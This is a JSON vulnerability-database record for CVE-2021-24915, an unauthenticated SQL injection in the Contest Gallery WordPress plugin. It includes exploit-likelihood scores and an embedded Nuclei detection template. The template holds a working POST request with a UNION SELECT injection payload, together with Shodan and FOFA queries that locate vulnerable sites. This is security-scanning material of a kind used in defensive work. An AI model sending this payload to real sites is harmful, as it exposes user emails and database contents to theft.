{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-24915/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-24915/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-24915/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-24915/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-24915/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-24915"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-24915"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.12004,
      "kev": false,
      "percentile": 0.95946
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-24915.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-24915\n\ninfo:\n  name: Contest Gallery < 13.1.0.6 - SQL injection\n  author: r3Y3r53\n  severity: critical\n  description: |\n    The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address.\n  impact: |\n    Unauthenticated attackers can exploit SQL injection to extract database contents and enumerate all registered users including their email addresses, potentially facilitating targeted phishing attacks.\n  remediation: Fixed in version 13.1.0.6\n  reference:\n    - https://wpscan.com/vulnerability/45ee86a7-1497-4c81-98b8-9a8e5b3d4fac\n    - https://gist.github.com/tpmiller87/6c05596fe27dd6f69f1aaba4cbb9c917\n    - https://wordpress.org/plugins/contest-gallery/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-24915\n    cwe-id: CWE-89\n    epss-score: 0.12004\n    epss-percentile: 0.95946\n    cpe: cpe:2.3:a:contest_gallery:contest_gallery:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: contest_gallery\n    product: contest_gallery\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/contest-gallery/\n    fofa-query: body=/wp-content/plugins/contest-gallery/\n    publicwww-query: \"/wp-content/plugins/contest-gallery/\"\n  tags: cve2021,cve,wordpress,wp-plugin,wpscan,wp,contest-gallery,contest_gallery,sqli,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        cg-search-user-name=&cg-search-user-name-original=%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a6b7871%2CIFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x716b707871%29%2CNULL--%20-&cg_create_user_data_csv_new_export=true&cg-search-gallery-id-original=&cg-search-gallery-id=&cg_create_user_data_csv=true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'WpUserId'\n          - 'Username'\n          - 'Usermail'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - 'text/csv'\n          - 'filename='\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502201f67c4551815098fa65f949a2c3a3ce448235a13372c5a014e78a98b42c31cdd02210088d5a926b7d1aa5a3c9cb0136e2b64ac23481c300b7c38bf0c3b1811c33bc764:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-24915"
}